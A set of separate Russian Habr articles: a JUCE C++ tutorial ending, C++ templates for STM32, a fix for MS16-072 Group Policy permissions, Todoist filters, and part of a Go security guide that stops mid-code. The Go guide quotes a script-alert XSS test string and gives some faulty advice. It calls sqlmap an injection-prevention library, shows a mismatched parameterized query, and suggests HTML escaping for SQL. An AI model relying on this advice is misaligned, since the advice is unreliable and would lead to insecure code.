// Инициализируем приложение создавая наше окно
helloWorldWindow = new HelloWorldWindow();
}
void shutdown()
{
// Описываем поведение при закрытии приложения
helloWorldWindow = nullptr;
}
//Далее задаются методы для получения некоторой информации о приложении
const String getApplicationName()
{
return "Hello World for JUCE";
}
const String getApplicationVersion()
{
// ProjectInfo::versionString автоматически обновляется Jucer, и
// описывается в JuceHeader.h который генерируется для нашего проекта
return ProjectInfo::versionString;
}
bool moreThanOneInstanceAllowed() //Разрешаем запуск нескольких версий
{
return true;
}
void anotherInstanceStarted (const String& commandLine)
{
}
private:
ScopedPointer helloWorldWindow; //свойства класса нашего приложения, по сути все окна которые в нем содержатся
// Этот макрос создает точку входа main() нашего приложения.
START\_JUCE\_APPLICATION (JUCEHelloWorldApplication)
```
Все готово, если наш проект собрать и запустить то мы получаем вот такой результат:
Если вы желаете посмотреть на что еще способен **JUCE** рекомендую собрать и запустить приложение Demo из папки extras, в котором показаны основные возможности данного фреймворка, но не забывайте что их гораздо больше и все зависит от того как вы примените то что имеете.
#### Полезные ссылки
* [**Официальный сайт**](http://www.juce.com)
* [**Страница на GitHub**](http://github.com/julianstorer/)
* [**Страница на Sourceforge**](http://sourceforge.net/projects/juce/)
* [**Официальная страница с документацией**](http://www.juce.com/api/classes.html)
* [**Juce Programming Tutorial**](http://lubyk.org/en/software/mimas/document171.pdf) достаточно подробное описание разработки приложения с использованием **JUCE**
#### Послесловие
*Надеюсь кому то мой экспромт окажется полезным.
Мое личное мнение таково: данный фреймворк заслуживает внимания и того, что бы использоваться в малых и больших проектах.
С удовольствием приму любую критику и замечания, спасибо что обратили внимание на данный пост!* | https://habr.com/ru/post/209956/ | null | ru | null |
# Снова про шаблоны C++ в микроконтроллерах
Вступление
----------
Идея использования шаблонов языка C++ для программирования контроллеров не является чем-то новым, в сети доступно большое количество материалов. Кратко напомню основные преимущества: перенос значительной части ошибок из runtime в compile-time за счет строгого контроля типов, а также приближение к объектно-ориентированному подходу, близкий и удобный многим, без необходимости хранения полей в статическом классе (все поля являются шаблонными параметрами). Однако стоит заметить, что практически все авторы по большому счету ограничиваются в своих работах примерами на работу с регистрами и портами ввода-вывода. В своей статье я хочу продолжить эти идеи.
Нельзя быть чуть-чуть беременным
--------------------------------
Объектно-ориентированное программирование подразумевает наличие в программе классов, взаимодействующих между собой. Взаимодействие выражается зависимостью одних классов от других. И здесь проявляется суть заголовка: чтобы передать в класс *A* в качестве параметра шаблонный класс *B* со статическими методами, то класс *B* тоже необходимо делать шаблонным и так далее по всей цепочке.
Например, USART как минимум зависит от своих регистров, тогда объявление соответствующего класса будет выглядеть приблизительно следующим образом (код, связанный с объявлением регистров, взят [отсюда](https://habr.com/ru/post/459642/), чтобы была связность статей, спасибо [@lamerok](/users/lamerok) за крутые материалы и примеры. Сам я пока на использование созданных им оберток не перешел, но планирую.):
```
template
class Usart
{
public:
static void Init()
{
\_Regs::CR1Pack<\_Regs::CR1::UE, \_Regs::CR1::RE, \_Regs::CR1::TE>::Set();
// Еще какие-то настройки.
}
}
```
С регистрами разобрались, чтобы объявить конкретный экземпляр UART, необходимо специализировать шаблон
```
using Usart1 = Usart;
```
Вроде бы все здорово, однако на самом деле конкретный интерфейс USART имеет иные зависимости:
1. Регистр тактирования (RCC\_APB2).
2. Номер прерывания.
3. Набор возможных выводов (Tx и Rx).
4. Dma (Tx и Rx).
И один из четырех принципов ООП - инкапсуляция - намекает на то, что всё перечисленное тоже следует внести в параметры класса. Например, добавим регистр тактирования
```
template
class Usart
{
public:
static void Init()
{
// Инициализация скорее всего подразумевает включение тактирования периферии
\_ClockCtrl::Enable()
\_Regs::CR1Pack<\_Regs::CR1::UE, \_Regs::CR1::RE, \_Regs::CR1::TE>::Set();
...
}
}
```
Теперь включение тактирования модуля инкапсулировано в его инициализацию. Можно заметить, что в случае многократного вызова метода Init каждый раз будет производиться лишняя операция чтения/записи в регистра RCC\_ARB2, но часто ли такое встречается в реальности?
Добавление всех параметров во-первых, позволяет инкапсулировать обязательные вызовы, а также продолжает линию строгого контроля типов. Например, в уроках по тому же USART обычно предлагается инициализировать используемые выводы
```
// Пример настройки TX UART на SPL.
GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_5;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_40MHz;
GPIO_Init(GPIOD, &GPIO_InitStructure); //инициализируем
```
Этот код похож на выборы президента: можно, конечно, попробовать указать иные значения, все скомпилируется, но работать не будет. Указание списка возможных пинов позволяет обнаружить попытку использования недоступной линии еще на этапе компиляции:
```
// Метод выбора Tx и Rx выводов.
template
template
void Usart<\_Regs, \_IRQNumber, \_ClockCtrl, \_TxPins, \_RxPins, \_DmaTx, \_DmaRx>::SelectTxRxPins()
{
const int8\_t txPinIndex = TypeIndex::value;
const int8\_t rxPinIndex = !std::is\_same\_v
? TypeIndex::value
: -1; // Хотя тут нужно переделать, чтобы отличать передачу NullPin от недоступного параметра
static\_assert(txPinIndex >= 0);
// В полудуплексном режиме Rx необязательна
static\_assert(rxPinIndex >= -1);
SelectTxRxPins();
}
```
Если при настройке USART вызвать метод SelectTxRxPins с аргументом, которого нет в списке, прошивка не скомпилируется из-за условия в static\_assert.
Таким образом, я считаю, что применения шаблонов C++ заслуживают не только регистры и GPIO, а вообще вся периферия и даже драйверы устройств, использующих интерфейсы микроконтроллера.
```
// Драйвер часов реального времени DS1307
template
class Ds1307
{
...
static Time GetDateTime()
{
Time time;
\_I2CBus::Read(Ds1307Address, 0x00, &time, sizeof(time));
...
```
Объявление экземпляров классов, как обычно, осуществляется объявлением нового типа:
```
using Rtc = Ds1307;
```
Только теорию нельзя практику
-----------------------------
Из всех авторов материалов, которые я видел, только Константин Чижов (он же neiver, автор статьи [Работа с портами ввода-вывода микроконтроллеров на Си++](http://easyelectronics.ru/rabota-s-portami-vvoda-vyvoda-mikrokontrollerov-na-si.html) на ресурсе easyelectronics.ru) поставил запятую **после** слова "нельзя". В его [репозитории](https://github.com/KonstantinChizhov/Mcucpp) на github представлена библиотека "Mcucpp", которая реализует идеи метапрограммирования в микроконтроллерах. На мой взгляд, как это нередко бывает, у проекта есть ряд недостатков, главным из которых считаю невозможность использовать ее из коробки, что отталкивает потенциальных пользователей, особенно новичков (типа меня, который начал заниматься контроллерами в середине 2019, в виде хобби). Так как конкретных проектов и задач у меня нет, я решил начать собирать все наработки Константина, пытаться, насколько это возможно, адаптировать код под разные семейства, писать Doxy-документацию, примеры для добавленного кода, проверять его работоспособность. В результате медленно развивается проект [Zhele](https://github.com/azhel12/Zhele), в котором я на основе библиотеки Чижова создаю полностью шаблонный фреймворк для контроллеров Stm32. Сразу отмечу, что автором файлов проекта, где изменений немного, пишу Константина Чижова.
> *"Лучше меньше, да лучше"* © В.И. Ленин
>
>
На момент написания этой статьи большая часть возможностей контроллеров еще не покрыта библиотекой, однако уже есть и проверены тактирование, gpio, таймеры, интерфейсы i2c/spi/uart/one-wire, драйверы устройств, которые у меня есть.
Приветствую все замечания, предложения и пожелания. Сейчас копаю в сторону генерации custom-шаблонов для CubeIDE. Общение с людьми, связанными с разработкой устройств, показало, что при всех недостатках, куб им нравится, еще более актуально это для тех, кто только начинает погружаться в мир программирования микроконтроллеров, поэтому считаю возможность генерации проектов, использующих шаблоны, сразу в кубе, весьма полезной. Надеюсь осилить этот вопрос и это будет темой следующей статьи.
Источники
---------
1. [Работа с портами ввода-вывода микроконтроллеров на Си++](http://easyelectronics.ru/rabota-s-portami-vvoda-vyvoda-mikrokontrollerov-na-si.html)
2. [Трактат о Pinе. Мысли о настройке и работе с пинами на С++ для микроконтроллеров (на примере CortexM)](https://habr.com/ru/post/473612/)
3. [Безопасный доступ к полям регистров на С++ без ущерба эффективности (на примере CortexM)](https://habr.com/ru/post/459642/)
4. [Использование шаблонного метапрограммирования для микроконтроллеров AVR](https://habr.com/ru/post/357910/)
5. | https://habr.com/ru/post/540064/ | null | ru | null |
# Обновление MS16-072 ломает Group Policy. Что с этим делать?
Ничего не предвещало беды в прошлый «вторник обновлений» (14 июня): бюллетень обновлений содержал лишь сухой список важных обновлений безопасности и стандартные рекомендации по их немедленной установке. Однако, после применения обновлений, системные администраторы по всему миру столкнулись со странным поведением политик безопасности. Наиболее распространённый симптом: начали «отваливаться» сетевые принтеры и папки.
Те, кто следовал лучшим практикам распространения обновлений, заметили, что такое поведение наблюдалось только в тестовой группе, обновления для которой были приняты до распространения их по всей организации.
При попытке разобраться в ситуации, результат GPRESULT поверг в некоторое замешательство: некоторые политики безопасности уровня пользователя (user scope) не применялись, выдавая весьма «информативное» сообщение: «Filtering: Not Applied (Unknown Reason)». Некоторые новые политики просто не появлялись в выводе GPRESULT.
#### Кто виноват?
«Виновником» такого поведения стало обновление безопасности из статьи [**KB3163622**](https://support.microsoft.com/en-us/kb/3163622) (бюллетень безопасности **MS16-072**, номер KB для различных ОС: [**KB3159398**](https://support.microsoft.com/en-us/kb/3159398), [**KB3163017**](https://support.microsoft.com/en-us/kb/3163017), [**KB3163018**](https://support.microsoft.com/en-us/kb/3163018), [**KB3163016**](https://support.microsoft.com/en-us/kb/3163016)), призванное закрыть дыру в безопасности процесса применения групповых политик. С момента появления технологии групповых политик не было уделено должное внимание обеспечению доверенности источника политик. Атакующий, применяя тактику MitM (*Man in the Middle* — атака посредника), мог подменить ответ от контроллеров домена и прислать на атакуемый компьютер поддельные политики безопасности, дающие, например, права локального администратора скомпрометированной учётной записи рядового пользователя.
Как оказалось, для устранения данной проблемы программисты Microsoft не нашли ничего лучше, чем изменить поведение процесса применения групповых политик, которое не менялось со времени выхода Windows 2000. Традиционное поведение предусматривало доступ к политикам безопасности уровня компьютеров (*computer scope*) от учётной записи компьютера, а к политикам безопасности уровня пользователя (*user scope*) — от учётной записи пользователя. После установки обновления KB3163622 все запросы стали направляться от учётной записи компьютера, чтобы обеспечить доверенность источника силами протокола Kerberos.
Тестирование обновления (если таковое вообще проводилось) не выявило никаких проблем, так как по умолчанию доступ ко всем групповым политикам разрешён для группы **Authenticated Users**, которая включает в себя все учетные записи (компьютеров и пользователей).
В реальных условиях эксплуатации системные администраторы ограничивают распространение многих политик с применением простого и наглядного механизма фильтров безопасности (*security filtering*), а также непосредственной модификации настроек доступа к некоторым политикам. Следует отметить, что модификация списков контроля доступа к политикам является штатным инструментом настройки политик и не может быть поводом для обвинения системных администраторов в создании нестандартной ситуации.
*Список фильтров безопасности (security filtering)*
В результате, на Microsoft полился поток жалоб, а форумы запестрели скороспелыми рекомендациями отменить (*decline*) обновление KB3163622 в WSUS. Ситуация, к сожалению, стала не редкостью в последние годы, когда чуть ли не каждый месяц некоторые обновления выходят повторно в новой редакции после негативной реакции пользователей. В этот раз, однако, Microsoft дала понять, что не пойдёт на попятную и к новым правилам применения политик безопасности придётся привыкнуть.
15 июня в бюллетень MS16-072 добавили короткое указание, что, как говорится, «это не баг, это — фича», и такое изменение поведения будет сохранено.
Сотрудник Microsoft Ian Farr 16 июня опубликовал [скрипт на PowerShell](https://blogs.technet.microsoft.com/poshchap/2016/06/16/ms16-072-known-issue-use-powershell-to-check-gpos/), который позволяет системным администраторам проверить, повлияет ли новое обновление на существующие политики.
На протяжении недели на специализированных ресурсах кипели страсти, так как кроме трех строчек в бюллетене безопасности никакой официальной информации от Microsoft не поступало. Наконец, через 9 дней после выхода обновления, в официальном блоге Ask the Directory Services Team вышла [подробная статья](https://blogs.technet.microsoft.com/askds/2016/06/22/deploying-group-policy-security-update-ms16-072-kb3163622/), которая, по хорошему, должна была если не предварять выпуск обновления (пусть, по соображениям безопасности, до выхода «заплатки» нельзя раскрывать суть уязвимости), то уж по крайней мере идти первой строкой в июньском бюллетене.
#### Что делать?
TL;DR: Ниже приведена *Инструкция* по внесению изменений в GPO и AD для предотвращения ущерба от установки этого обновления.
При всём уважении к AD DS Team, мне кажется, что решение, которое они предлагают — добавить **Authenticated Users** или **Domain Computers** с доступом только для чтения во все политики, которые перестали работать, — является полумерой. При модификации или создании новых политик безопасности отныне и навсегда нужно будет помнить о необходимости добавлять одну из вышеупомянутых групп. Наглядный инструмент фильтров безопасности (*security filtering*), доступный прямо на первой странице редактора политик безопасности (*group policy editor*) вообще теряет всякий смысл, так как всё равно необходимо вручную изменять списки контроля доступа.
Более простым в эксплуатации мне представляется следующее решение: добавить группу **Domain Computers** с правами только на чтение (но не на применение) во все политики (если это возможно по соображениям безопасности), а также произвести минимальную модификацию схемы (*schema*) AD, чтобы новые политики создавались сразу с необходимыми правами.
Плюсом такого решения является отсутствие необходимости его поддержки: поведение групповых политик практически не изменится, нет необходимости менять правила создания/модификации политик. Продолжит работать и механизм фильтров безопасности (*security filters*), который очень наглядно позволяет представлять и редактировать параметры доступа к политикам.
Минусом является необходимость модификации схемы (*schema*) AD, но модификация настолько тривиальная, что она не должна вызвать никаких проблем.
Почему я предлагаю добавить **Domain Computers**, а не **Authenticated Users**? Во-первых, для того, чтобы не нарушать [Принцип минимальных привилегий](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%BC%D0%B8%D0%BD%D0%B8%D0%BC%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D1%85_%D0%BF%D1%80%D0%B8%D0%B2%D0%B8%D0%BB%D0%B5%D0%B3%D0%B8%D0%B9): даже после такого надругательства над этим принципом, которое совершает данное обновление, мы всё ещё можем не дать непривилегированному пользователю читать политики, которые применяются к привилегированным пользователям простым заходом в SYSVOL. Во-вторых, по умолчанию **Authenticated Users** уже имеют права на чтение и применение политики. Удаляя **Authenticated Users** из списка фильтров безопасности (*security filtering*) мы удаляем не только права на применение, но и права на чтение. В то же время, если группа **Domain Computers** добавлена в списки доступа только для чтения, она не отображается в списке *security filtering* и не будет удалена.
#### Соображения по применимости данных рекомендаций
Для начала я рекомендую изучить список групповых политик в вашем домене, которые будут непосредственно задеты изменением поведения. В этом поможет [скрипт с TechNet](https://blogs.technet.microsoft.com/poshchap/2016/06/16/ms16-072-known-issue-use-powershell-to-check-gpos/) или одна из его модификаций, в последние дни опубликованных в различных блогах. Необходимо понять, какова была цель изменения настроек безопасности. Мне представляется такой список наиболее очевидных целей:
1. Вторичное ограничение доступа к ресурсу. Например, доступ к сетевому принтеру ограничен группой **Example1** в настройках безопасности самого принтера и, дополнительно, политика безопасности, которая подключает этот принтер, применяется только к членам группы **Example1**. В такой ситуации добавление прав на чтение (но не применение политик) для **Domain Computers** совершенно безопасно.
2. Ограничение распространения информации, которая содержится в самой политике безопасности. Я не рекомендовал бы хранить уязвимые (*sensitive*) данные (например, пароли) в политиках безопасности, но, допускаю, что до прошлой недели такой подход имел право на существование, так как доступ к файлам политики безопасности в общей папке SYSVOL автоматически ограничивается списком доступа, применённым к самой политике. После изменений, которые приносит обновление, доступ вынужденно получат учётные записи всех компьютеров. Обратиться к папке SYSVOL от имени компьютера всё ещё не самая тривиальная задача для пользователя с ограниченными правами, но, потенциально, это возможно (например, с применением отдельной уязвимости локального повышения привилегий). Прежде чем переходить к следующим пунктам инструкции, следует взвесить потенциальные риски, и, возможно, убрать уязвимую (sensitive) информацию из политики безопасности.
2a. В условиях повышенных требований к безопасности, согласно Принципу минимальных привилегий, доступ по умолчанию для **Authenticated Users** может быть заменён на более узкий для *всех* политик безопасности. В таком случае, необходим полный пересмотр всей стратегии защиты политик. Для политик уровня пользователя (*user scope*) попытка сузить круг доступа теперь неминуемо приведёт к нарушению постулата о разделения пользовательских и компьютерных политик безопасности. Например, попытка ограничить распространение политики, применимой только к привилегированным пользователям, группой компьютеров, на которых эти пользователи работают, приведёт к фактическому смешению уровней политик (*user and computer scope*), что не является хорошей практикой.
#### Инструкция
После того, как вы приняли решение о применимости предлагаемого подхода (см. предыдущий раздел), необходимо запустить PowerShell с правами доменного администратора или иной учетной записи, имеющей полный доступ ко всем политикам безопасности и ввести следующую команду:
`Get-GPO -All | Set-GPPermissions -TargetType Group -TargetName "Domain Computers" -PermissionLevel GpoRead`
Данная команда добавит права на чтения (но не применение) политик для группы **Domain Computers** во все политики безопасности домена. После её выполнения можно смело устанавливать обновление KB3163622, для существующих политик безопасности оно больше не страшно.
***Предупреждение**. Следующим шагом является изменение схемы (schema) AD для того, чтобы вновь создаваемые политики уже имели разрешение для чтения политики группой Domain Computers в своём списке контроля доступа. Хотя изменение минимально, я хотел бы посоветовать тем администраторам, которые не знают, что такое схема (schema) AD, сперва изучить данное понятие либо ограничиться предыдущим пунктом инструкции и добавлять Domain Computers в новые политики вручную, либо запускать вышеупомянутую команду PowerShell (или её модификацию с заменой «-All» на имя политики) после создания каждой новой политики безопасности.*
Дальнейшая инструкция является вольным переводом [статьи Darren Mar-Elia](https://sdmsoftware.com/group-policy-blog/tips-tricks/modifying-default-gpo-permissions-creation-time/).
Проверьте, что у вас есть достаточный уровень доступа для проведения следующих операций. Вы должны входить в состав (напрямую или косвенно) группы **Schema Admins**.
1. Запустите *ADSIEdit.msc* в меню *Action*, откройте пункт *Connect To* и выберите *Schema* из списка:
*Подключение к схеме (schema) AD в ADSIEdit*
2. Раскройте дерево *CN=Schema, CN=Configuration*. В списке справа выберите *CN=Group-Policy-Container*:
*Класс Group Policy Container в ADSIEdit*
3. Двойным щелчком по *CN=Group-Policy-Container* откройте список атрибутов. Найдите атрибут *defaultSecurityDescriptor*. Откройте значение атрибута.
4. **На всякий случай скопируйте текущее значение атрибута defaultSecurityDescriptor в Notepad и сохраните в файл.** Установите курсор в самый конец длинного значения атрибута, после последней закрывающей скобки. Добавьте следующее значение (проверить, что означает данная «магическая» строка можно с помощью [утилиты SDDLPARSE](http://blogs.microsoft.co.il/files/folders/guyt/entry70399.aspx)):
`(A;CI;LCRPLORC;;;DC)`
*Редактирование defaultSecurityDescriptor*
5. Нажмите *OK*, чтобы применить изменения.
6. Запустите *MMC*, войдите в меню *File*→*Add/remove snap-ins* и в нём выберите *Active Directory Schema*. Если вы не видите *AD Schema* в списке, вам необходимо отключить так называемую «защиту от дурака». Запустите командную строку с повышенными привилегиями и введите **regsvr32 schmmgmt.dll**, после чего перезапустите *MMC*. Кликните правой кнопкой мыши на пункт «*Active Directory Schema*» и выберите «*Reload the Schema*» как показано ниже:
*Обновление схемы (schema) AD*
7. В результате вышеперечисленных действий новые групповые политики будут создаваться сразу с настроенным доступом для чтения группе **Domain Computers**:
*Новая политика безопасности*
#### Заключение
Я не берусь судить, была ли возможность закрыть брешь менее хлопотным для администраторов по всему миру способом (пусть и за счёт большего объёма работы для программистов Microsoft). Во всяком случае, подробное описание изменения должно было быть включено в изначальный бюллетень безопасности, а не опубликовано спустя 9 дней в (пусть и официальном) блоге.
Следует отметить, что, закрывая брешь MitM повышения уровня доступа (*elevation of privilege*), обновление KB3163622 открывает множественные бреши раскрытия информации (*information disclosure*), и с этим придётся считаться.
#### Ссылки
1. [Microsoft KB3163622 (бюллетень безопасности MS16-072).](https://support.microsoft.com/en-us/kb/3163622)
2. Ian Farr. [Скрипт на PowerShell, который позволяет системным администраторам проверить, повлияет ли новое обновление на существующие политики.](https://blogs.technet.microsoft.com/poshchap/2016/06/16/ms16-072-known-issue-use-powershell-to-check-gpos/)
3. Ask the Directory Services Team. Ajay Sarkaria. [Подробная статья с описанием изменений поведения политик безопасности](https://blogs.technet.microsoft.com/askds/2016/06/22/deploying-group-policy-security-update-ms16-072-kb3163622/).
4. Darren Mar-Elia. [Modifying Default GPO Permissions at Creation Time](https://sdmsoftware.com/group-policy-blog/tips-tricks/modifying-default-gpo-permissions-creation-time/). | https://habr.com/ru/post/304202/ | null | ru | null |
# Приводим в порядок задачи с помощью Todoist
Совсем недавно я ввел для себя практику планировать задачи на предстоящую неделю. Недавно, потому что мой список задач, которые нужно сделать, выглядит как куча мусора, в котором тяжело ориентироваться. Разбирать эту груду для меня скорее было занятием неприятным, чем увлекательным.
Но недавно все изменилось. Сразу оговорюсь, что все задачи я веду в приложении [Todoist](http://todoist.com/).
### Первая часть
Так вот, планировать на неделю мне нужно те задачи, у которых не выставлен срок выполнения. При этом, они могут находиться как в конкретных проектах, так и в разделе «Входящие».
В Тудуисте есть функционал под названием «Фильтры», который входит в платную подписку. Фильтры позволяют автоматически выдергивать задачи по определенным правилам. Эти правила расписаны на сайте, в разделе «[Помощь](https://todoist.com/ru/help/articles/introduction-to-filters)».
Но для решения моих задач, пришлось немного усложнить конструкцию правил. Я назвал свой фильтр «Без срока» и в нем прописал следующее:
> `(!назначено | назначено для: Расул Гитинов) & без срока & !(##Проект1 | #Проект2)`
>
>
Разберем по частям конструкцию:
* знак «`&`» — логическое «`и`»
* знак «`|`» — логическое «`или`»
* знак «`!`» — логическое «`отрицание`»
* знак «`#`» — игнорировать конкретный проект
* «`##`» — игнорировать конкретный проект и все проекты внутри него
* скобки нужны для группировки похожих по логике правил
Перевод конструкции на человеческий язык:
> Показывай мне только те задачи, у которых не назначен исполнитель и те, у которых исполнителем назначен конкретно я.
>
> При этом, это должны быть задачи, у которых нет срока выполнения.
>
> Но исключи из всего этого задачи из проекта «Проект1» и его подпроектов, и задачи из проекта «Проект2».
>
>
В результате получаем список из всех задач, у которых нет срока выполнения:
#### Более глубокий разбор конструкции
Тем, кому интересно, почему эта конструкция выглядит именно так, расскажу о ней подробнее.
> Первый блок: `(!назначено | назначено для: Расул Гитинов)`
>
> `!назначено` покажет все задачи, у которых не назначен исполнитель. Но это означает, что те задачи, в которых я назначен исполнителем тоже будут игнорироваться. Поэтому к нему добавляем правило: `| назначено для: Расул Гитинов`, что означает: «или те, у которых исполнителем назначен конкретно я» и все это объединяем при помощи скобок.
>
>
> Второй блок: `& без срока`
>
> На этом этапе фильтр уже взял задачи, исходя из правил первого блока и оставляет из них только те, у которых нет срока выполнения.
>
>
> Третий блок: `& !(##Проект1 | #Проект2)`
>
> Но тех двух блоков мне оказалось недостаточно, ведь среди собранных задач могут оказаться задачи, которые я не хочу видеть или планировать. Поэтому я указываю, задачи из каких именно проектов нужно игнорировать.
>
> Сначала указываем названия проектов: `##Проект1 | #Проект2`. Эта конструкция читается, как: «Все задачи из проекта "Проект2" и проектов внутри него и все задачи из проекта "Проект2"». Но, чтобы дать этим правилам отрицательный характер, мы объединяем их в скобки и перед ними ставим «`!`». Тогда это будет читаться, как: «Игнорируй все, что внутри этих скобок».
>
>
### Вторая часть
Но просто собрать все задачи в одном списке оказалось мало. Ведь все равно это куча мусора, просто собранного в одном месте. В нем тяжело ориентироваться. И в Тудуисте есть инструмент, который закрыл эту боль сполна.
Делаем следующее:
1. В правом верхнем углу, под шапкой есть кнопка «Сортировать»
2. Если на нее нажать, то появится список, в конце которого есть пункт «Пользовательская сортировка».
3. В открывшемся после нажатия окне есть секция «Группировать по», в котором надо выбрать пункт «Проект»
В таком случае весь этот разрозненный список задач сгруппируется по проектам:
В таком виде мне легче ориентироваться среди задач и легче выбирать, на задачи из какого проекта я бы хотел сейчас обратить внимание.
### Вывод
Благодаря этому фильтру разгребать задачи вдруг стало приятным занятием. Возможность сделать один только этот фильтр подтолкнула меня к покупке подписки на Тудуист и это еще без учета других возможностей, которые каждый день помогают держать порядок в делах и в голове.
---
Чаще пишу на похожие темы в [Инстаграме](https://www.instagram.com/raselgit/) и [Телеграме](http://t.me/raselgit). | https://habr.com/ru/post/586180/ | null | ru | null |
# 6 лучших практик безопасности для Go
***Перевод статьи подготовлен специально для студентов курса [«Разработчик Golang»](https://otus.pw/gOgh/).***
---
Популярность Golang за последние годы существенно увеличилась. Успешные проекты, такие как [Docker](https://blog.sqreen.com/docker-security/), [Kubernetes](https://blog.sqreen.com/kubernetes-security-best-practices/) и Terraform, сделали большую ставку на этот язык программирования. В последнее время Go де-факто стал стандартом для создания инструментальных средств командной строки. Что касается безопасности, то Go успешно справляется согласно своим отчетам об уязвимостях, имея только [один реестр CVE с 2002 года](https://www.cvedetails.com/vendor/1485/Golang.html).
Однако отсутствие уязвимостей не означает, что язык программирования является сверхбезопасным. Мы, люди, можем создавать небезопасные приложения, если мы не следуем определенным правилам. Например, зная [правила написания безопасного кода от OWASP](https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide), мы можем задуматься о том, как применять эти методы при использовании Go. И это именно то, чем я займусь в этот раз. В этом посте я покажу вам шесть практик, которые необходимо принимать во внимание при разработке с применением Go.
### 1. Проверяйте входные данные
Проверять входные пользовательские данные нужно не только для функциональных целей, это также помогает избежать атак злоумышленников, отправлявших нам интрузивные данные, которые могут повредить систему. Более того, вы помогаете пользователям использовать этот инструмент более уверенно, не давая им делать глупые и распространенные ошибки. Например, вы можете запретить пользователю пытаться удалить несколько записей одновременно.
Для проверки пользовательского ввода вы можете использовать нативные пакеты Go, такие как strconv для обработки преобразования строк в другие типы данных. Go также поддерживает регулярные выражения с `regexp` для сложных проверок. Несмотря на то, что Go предпочитает использовать нативные библиотеки, существуют сторонние пакеты, такие как [validator](https://github.com/go-playground/validator). С помощью validator вы можете включать проверки для структур или отдельных полей намного легче. Например, следующий код проверяет, что структура `User` содержит действительный адрес электронной почты:
```
package main
import (
"fmt"
"gopkg.in/go-playground/validator.v9"
)
type User struct {
Email string `json:"email" validate:"required,email"`
Name string `json:"name" validate:"required"`
}
func main() {
v := validator.New()
a := User{
Email: "a",
}
err := v.Struct(a)
for _, e := range err.(validator.ValidationErrors) {
fmt.Println(e)
}
}
```
### 2. Используйте HTML-шаблоны
Одной из распространенных критических уязвимостей является межсайтовый скриптинг или XSS. В основном эксплойт состоит в том, что злоумышленник может внедрить в приложение вредоносный код для изменения вывода. Например, кто-то может отправить JavaScript-код как часть строки запроса в URL. Когда приложение возвращает значение пользователя, может быть выполнен JavaScript-код. Поэтому, как разработчик, вы должны знать о такой возможности и очищать вводимые пользователем данные.
Go имеет пакет [html/template](https://golang.org/pkg/html/template/) для кодирования того, что приложение возвращает пользователю. Таким образом, вместо того, чтобы браузер выполнял ввод типа ``<`script`>`alert(‘Вас взломали!’);`<`/script`>``, он выдаст предупреждение; Вы можете закодировать ввод, и приложение будет обрабатывать ввод как типичный HTML-код, напечатанный в браузере. HTTP-сервер, который возвращает HTML-шаблон, будет выглядеть так:
```
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
param1 := r.URL.Query().Get("param1")
tmpl := template.New("hello")
tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`)
tmpl.ExecuteTemplate(w, "T", param1)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
```
Но есть и сторонние библиотеки, которые вы можете использовать при разработке веб-приложений на Go. Например, [веб-инструментарий Gorilla](https://www.gorillatoolkit.org/), который включает библиотеки, помогающие разработчикам выполнять такие вещи, как кодирование аутентификационных значений файлов cookie. Существует также [nosurf](https://github.com/justinas/nosurf), который представляет собой пакет HTTP, который помогает предотвратить подделку межсайтовых запросов ([CSRF](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))).
### 3. Защититесь от SQL инъекций
Если вы уже некоторое время занимаетесь разработкой, возможно, вы знаете о SQL инъекциях, которые по-прежнему занимают первую позицию в [топе OWASP](https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf). Тем не менее, есть некоторые конкретные моменты, которые вы должны учитывать при использовании Go. Первое, что вам нужно сделать, это убедиться, что у пользователя, который подключается к базе данных, есть ограниченные права. Хорошей практикой также является санация введенных пользователем данных, как я описывал в предыдущем разделе, или экранирование специальных символов и использование функции [HTMLEscapeString](https://golang.org/pkg/html/template/#HTMLEscapeString) из пакета HTML-шаблонов.
Но самый важный фрагмент кода, который вам нужно включить, — это использование параметризованных запросов. В Go вы не подготавливаете выражение (речь идет о [Prepared Statement](https://habr.com/ru/post/148446/)) в connection; Вы подготавливаете его в БД. Вот пример того, как использовать параметризованные запросы:
```
customerName := r.URL.Query().Get("name")
db.Exec("UPDATE creditcards SET name=? WHERE customerId=?", customerName, 233, 90)
```
Однако что, если ядро базы данных не поддерживает использование подготовленных выражений? Или что, если это влияет на производительность запросов? Ну, вы можете использовать функцию db.Query(), но сначала убедитесь, что вы санируете пользовательский ввод, как показано в предыдущих разделах. Существуют также сторонние библиотеки, такие как [sqlmap](https://github.com/sqlmapproject/sqlmap), для предотвращения SQL инъекций.
Несмотря на все наши усилия, иногда уязвимости проскальзывают или попадают в наши приложения через третьих лиц. Чтобы обеспечить защиту своих веб-приложений от критических атак, таких как SQL инъекции, рассмотрите вариант использования платформы управления безопасностью приложений, например, такой как [Sqreen](https://www.sqreen.com/).
### 4. Шифруйте конфиденциальную информацию
То, что строку трудно читать, например, в формате base-64, не означает, что скрытое значение является секретным. Вам нужен способ шифрования информации, который злоумышленники не смогут легко декодировать. Типичная информация, которую вы бы хотели зашифровать, это пароли базы данных, пароли пользователей или даже номера социального страхования.
В OWASP есть несколько [рекомендаций](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#leverage-an-adaptive-one-way-function) о том, какие алгоритмы шифрования использовать, например, `bcrypt`, `PDKDF2`, `Argon2` или `scrypt`. К счастью, есть пакет Go, который включает надежные реализации для шифрования информации — [crypto](https://godoc.org/golang.org/x/crypto). Следующий код является примером использования `bcrypt`:
```
package main
import (
"database/sql"
"context"
"fmt"
"golang.org/x/crypto/bcrypt"
)
func main() {
ctx := context.Background()
email := []byte("john.doe@somedomain.com")
password := []byte("47;u5:B(95m72;Xq")
hashedPassword, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost)
if err != nil {
panic(err)
}
